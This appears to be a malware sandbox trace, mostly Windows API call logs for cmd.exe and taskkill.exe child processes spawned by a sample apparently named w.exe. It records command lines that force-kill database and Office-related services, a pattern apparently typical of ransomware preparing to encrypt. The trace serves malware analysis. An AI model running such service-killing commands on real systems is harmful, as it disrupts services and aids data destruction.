	[0038.236] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0038.236] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0038.236] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a0441ac | out: lpMode=0x4a0441ac) returned 0
	[0038.236] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0038.236] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a0441b0 | out: lpMode=0x4a0441b0) returned 0
	[0038.236] GetConsoleOutputCP () returned 0x1b5
	[0038.236] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a044260 | out: lpCPInfo=0x4a044260) returned 1
	[0038.236] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0038.236] exit (_Code=128) 

Process:
	id = "25"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4cd17000"
	os_pid = "0x798"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "24"
	os_parent_pid = "0xa00"
	cmd_line = "taskkill  /f /im agntsvc.exeisqlplussvc.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 161
	os_tid = 0x7d0


Thread:
	id = 162
	os_tid = 0x78c


Thread:
	id = 163
	os_tid = 0xc0


Thread:
	id = 164
	os_tid = 0x7d8


Thread:
	id = 165
	os_tid = 0x184


Process:
	id = "26"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4c10c000"
	os_pid = "0x344"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im xfssvccon.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 166
	os_tid = 0x244

	[0038.309] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x42f980 | out: lpSystemTimeAsFileTime=0x42f980*(dwLowDateTime=0xfc7d84b0, dwHighDateTime=0x1d52dc4)) 
	[0038.309] GetCurrentProcessId () returned 0x344
	[0038.309] GetCurrentThreadId () returned 0x244
	[0038.309] GetTickCount () returned 0x19d38
	[0038.309] QueryPerformanceCounter (in: lpPerformanceCount=0x42f978 | out: lpPerformanceCount=0x42f978*=15861906822) returned 1
	[0038.310] GetModuleHandleA (lpModuleName=0x0) returned 0x4a930000
	[0038.310] __set_app_type (_Type=0x1) 
	[0038.310] __p__fmode () returned 0x74eb31f4
	[0038.310] __p__commode () returned 0x74eb31fc
	[0038.310] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9521a6) returned 0x0
	[0038.310] __getmainargs (in: _Argc=0x4a954238, _Argv=0x4a954240, _Env=0x4a95423c, _DoWildCard=0, _StartInfo=0x4a954140 | out: _Argc=0x4a954238, _Argv=0x4a954240, _Env=0x4a95423c) returned 0
	[0038.311] GetCurrentThreadId () returned 0x244
	[0038.311] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x244) returned 0x60
	[0038.311] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0038.311] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0038.311] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0038.311] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0038.311] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x42f910 | out: phkResult=0x42f910*=0x0) returned 0x2
	[0038.311] VirtualQuery (in: lpAddress=0x42f947, lpBuffer=0x42f8e0, dwLength=0x1c | out: lpBuffer=0x42f8e0*(BaseAddress=0x42f000, AllocationBase=0x330000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0038.311] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x42f8e0, dwLength=0x1c | out: lpBuffer=0x42f8e0*(BaseAddress=0x330000, AllocationBase=0x330000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0038.311] VirtualQuery (in: lpAddress=0x331000, lpBuffer=0x42f8e0, dwLength=0x1c | out: lpBuffer=0x42f8e0*(BaseAddress=0x331000, AllocationBase=0x330000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0038.312] VirtualQuery (in: lpAddress=0x333000, lpBuffer=0x42f8e0, dwLength=0x1c | out: lpBuffer=0x42f8e0*(BaseAddress=0x333000, AllocationBase=0x330000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0038.312] VirtualQuery (in: lpAddress=0x430000, lpBuffer=0x42f8e0, dwLength=0x1c | out: lpBuffer=0x42f8e0*(BaseAddress=0x430000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0038.312] GetConsoleOutputCP () returned 0x1b5
	[0038.312] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a954260 | out: lpCPInfo=0x4a954260) returned 1
	[0038.312] SetConsoleCtrlHandler (HandlerRoutine=0x4a94e72a, Add=1) returned 1
	[0038.312] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0038.312] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0038.312] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0038.312] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a9541ac | out: lpMode=0x4a9541ac) returned 0
	[0038.312] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0038.312] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a9541b0 | out: lpMode=0x4a9541b0) returned 0
	[0038.312] GetEnvironmentStringsW () returned 0x782010*
	[0038.312] GetProcessHeap () returned 0x770000
	[0038.312] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xaca) returned 0x782ae8
	[0038.313] FreeEnvironmentStringsW (penv=0x782010) returned 1
	[0038.313] GetProcessHeap () returned 0x770000
	[0038.313] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x4) returned 0x780c48
	[0038.313] GetEnvironmentStringsW () returned 0x782010*
	[0038.313] GetProcessHeap () returned 0x770000
	[0038.313] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xaca) returned 0x7835c0
	[0038.313] FreeEnvironmentStringsW (penv=0x782010) returned 1
	[0038.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x42e880 | out: phkResult=0x42e880*=0x68) returned 0x0
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x0, lpData=0x42e88c*=0x0, lpcbData=0x42e884*=0x1000) returned 0x2
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x1, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x0, lpData=0x42e88c*=0x1, lpcbData=0x42e884*=0x1000) returned 0x2
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x0, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x40, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x40, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.313] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x0, lpData=0x42e88c*=0x40, lpcbData=0x42e884*=0x1000) returned 0x2
	[0038.313] RegCloseKey (hKey=0x68) returned 0x0
	[0038.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x42e880 | out: phkResult=0x42e880*=0x68) returned 0x0
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x0, lpData=0x42e88c*=0x40, lpcbData=0x42e884*=0x1000) returned 0x2
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x1, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x0, lpData=0x42e88c*=0x1, lpcbData=0x42e884*=0x1000) returned 0x2
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x0, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x9, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x4, lpData=0x42e88c*=0x9, lpcbData=0x42e884*=0x4) returned 0x0
	[0038.314] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x42e888, lpData=0x42e88c, lpcbData=0x42e884*=0x1000 | out: lpType=0x42e888*=0x0, lpData=0x42e88c*=0x9, lpcbData=0x42e884*=0x1000) returned 0x2
	[0038.314] RegCloseKey (hKey=0x68) returned 0x0
	[0038.314] time (in: timer=0x0 | out: timer=0x0) returned 0x5d16302f
	[0038.314] srand (_Seed=0x5d16302f) 
	[0038.314] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im xfssvccon.exe \""
	[0038.314] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im xfssvccon.exe \""
	[0038.314] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a955260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0038.314] GetProcessHeap () returned 0x770000
	[0038.314] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x210) returned 0x782010
	[0038.314] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x782018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0038.315] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0038.315] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.315] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0038.315] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0038.315] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0038.315] GetProcessHeap () returned 0x770000
	[0038.315] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x782ae8 | out: hHeap=0x770000) returned 1
	[0038.315] GetEnvironmentStringsW () returned 0x782228*
	[0038.315] GetProcessHeap () returned 0x770000
	[0038.315] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xae2) returned 0x784b88
	[0038.315] FreeEnvironmentStringsW (penv=0x782228) returned 1
	[0038.315] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0038.315] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0038.315] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0038.315] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0038.315] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0038.315] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0038.316] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0038.316] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0038.316] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0038.316] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0038.316] GetProcessHeap () returned 0x770000
	[0038.316] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x54) returned 0x785678
	[0038.316] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x42f64c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0038.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x42f64c, lpFilePart=0x42f648 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x42f648*="Desktop") returned 0x25
	[0038.316] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0038.316] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x42f3c8 | out: lpFindFileData=0x42f3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x781e90
	[0038.316] FindClose (in: hFindFile=0x781e90 | out: hFindFile=0x781e90) returned 1
	[0038.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x42f3c8 | out: lpFindFileData=0x42f3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x781e90
	[0038.316] FindClose (in: hFindFile=0x781e90 | out: hFindFile=0x781e90) returned 1
	[0038.316] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0038.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x42f3c8 | out: lpFindFileData=0x42f3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x781e90
	[0038.316] FindClose (in: hFindFile=0x781e90 | out: hFindFile=0x781e90) returned 1
	[0038.317] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0038.317] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0038.317] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0038.317] GetProcessHeap () returned 0x770000
	[0038.317] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x784b88 | out: hHeap=0x770000) returned 1
	[0038.317] GetEnvironmentStringsW () returned 0x784098*
	[0038.317] GetProcessHeap () returned 0x770000
	[0038.317] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xb36) returned 0x785ed8
	[0038.317] FreeEnvironmentStringsW (penv=0x784098) returned 1
	[0038.317] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a955260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0038.317] GetProcessHeap () returned 0x770000
	[0038.317] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x785678 | out: hHeap=0x770000) returned 1
	[0038.317] GetProcessHeap () returned 0x770000
	[0038.317] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x400e) returned 0x786a18
	[0038.317] GetProcessHeap () returned 0x770000
	[0038.317] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x4e) returned 0x782d68
	[0038.318] GetProcessHeap () returned 0x770000
	[0038.318] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x4008) returned 0x78aa30
	[0038.318] GetProcessHeap () returned 0x770000
	[0038.318] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x4008) returned 0x78ea40
	[0038.319] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0038.319] GetProcessHeap () returned 0x770000
	[0038.320] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x418) returned 0x782dc0
	[0038.320] SetErrorMode (uMode=0x0) returned 0x8003
	[0038.320] SetErrorMode (uMode=0x1) returned 0x0
	[0038.320] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x782dc8, lpFilePart=0x42f5c4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x42f5c4*="f") returned 0x31
	[0038.320] SetErrorMode (uMode=0x8003) returned 0x1
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x782dc0, Size=0x90) returned 0x782dc0
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlSizeHeap (HeapHandle=0x770000, Flags=0x0, MemoryPointer=0x782dc0) returned 0x90
	[0038.320] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x72) returned 0x792a68
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xd8) returned 0x782e58
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x782e58, Size=0x72) returned 0x782e58
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlSizeHeap (HeapHandle=0x770000, Flags=0x0, MemoryPointer=0x782e58) returned 0x72
	[0038.320] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a960640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0038.320] GetProcessHeap () returned 0x770000
	[0038.320] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0xe0) returned 0x782ed8
	[0038.324] GetProcessHeap () returned 0x770000
	[0038.324] RtlReAllocateHeap (Heap=0x770000, Flags=0x0, Ptr=0x782ed8, Size=0x76) returned 0x782ed8
	[0038.324] GetProcessHeap () returned 0x770000
	[0038.324] RtlSizeHeap (HeapHandle=0x770000, Flags=0x0, MemoryPointer=0x782ed8) returned 0x76
	[0038.324] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0038.324] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im xfssvccon.exe ", fInfoLevelId=0x1, lpFindFileData=0x42f360, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x42f360) returned 0xffffffff
	[0038.324] GetLastError () returned 0x3
	[0038.324] GetProcessHeap () returned 0x770000
	[0038.324] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x78aa30 | out: hHeap=0x770000) returned 1
	[0038.324] GetProcessHeap () returned 0x770000
	[0038.324] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x78ea40 | out: hHeap=0x770000) returned 1
	[0038.324] GetProcessHeap () returned 0x770000
	[0038.325] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x786a18 | out: hHeap=0x770000) returned 1
	[0038.325] GetConsoleOutputCP () returned 0x1b5
	[0038.325] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a954260 | out: lpCPInfo=0x4a954260) returned 1
	[0038.325] GetUserDefaultLCID () returned 0x409
	[0038.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a954950, cchData=8 | out: lpLCData=":") returned 2
	[0038.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x42f78c, cchData=128 | out: lpLCData="0") returned 2
	[0038.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x42f78c, cchData=128 | out: lpLCData="0") returned 2
	[0038.325] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x42f78c, cchData=128 | out: lpLCData="1") returned 2
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a954940, cchData=8 | out: lpLCData="/") returned 2
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a954d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a954d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a954d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a954cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a954c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a954c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a954c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a954930, cchData=8 | out: lpLCData=".") returned 2
	[0038.326] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a954920, cchData=8 | out: lpLCData=",") returned 2
	[0038.326] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0038.327] GetProcessHeap () returned 0x770000
	[0038.327] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x0, Size=0x20c) returned 0x782f58
	[0038.327] GetConsoleTitleW (in: lpConsoleTitle=0x782f58, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0038.327] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0038.327] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0038.328] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0038.328] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0038.328] GetProcessHeap () returned 0x770000
	[0038.328] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x400a) returned 0x786a18
	[0038.328] GetProcessHeap () returned 0x770000
	[0038.328] HeapFree (in: hHeap=0x770000, dwFlags=0x0, lpMem=0x786a18 | out: hHeap=0x770000) returned 1
	[0038.329] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0038.329] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0038.329] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0038.329] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0038.329] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0038.329] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0038.329] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0038.329] GetProcessHeap () returned 0x770000
	[0038.329] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x58) returned 0x783170
	[0038.329] GetProcessHeap () returned 0x770000
	[0038.329] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x1a) returned 0x785718
	[0038.329] GetProcessHeap () returned 0x770000
	[0038.329] RtlAllocateHeap (HeapHandle=0x770000, Flags=0x8, Size=0x36) returned 0x7831d0
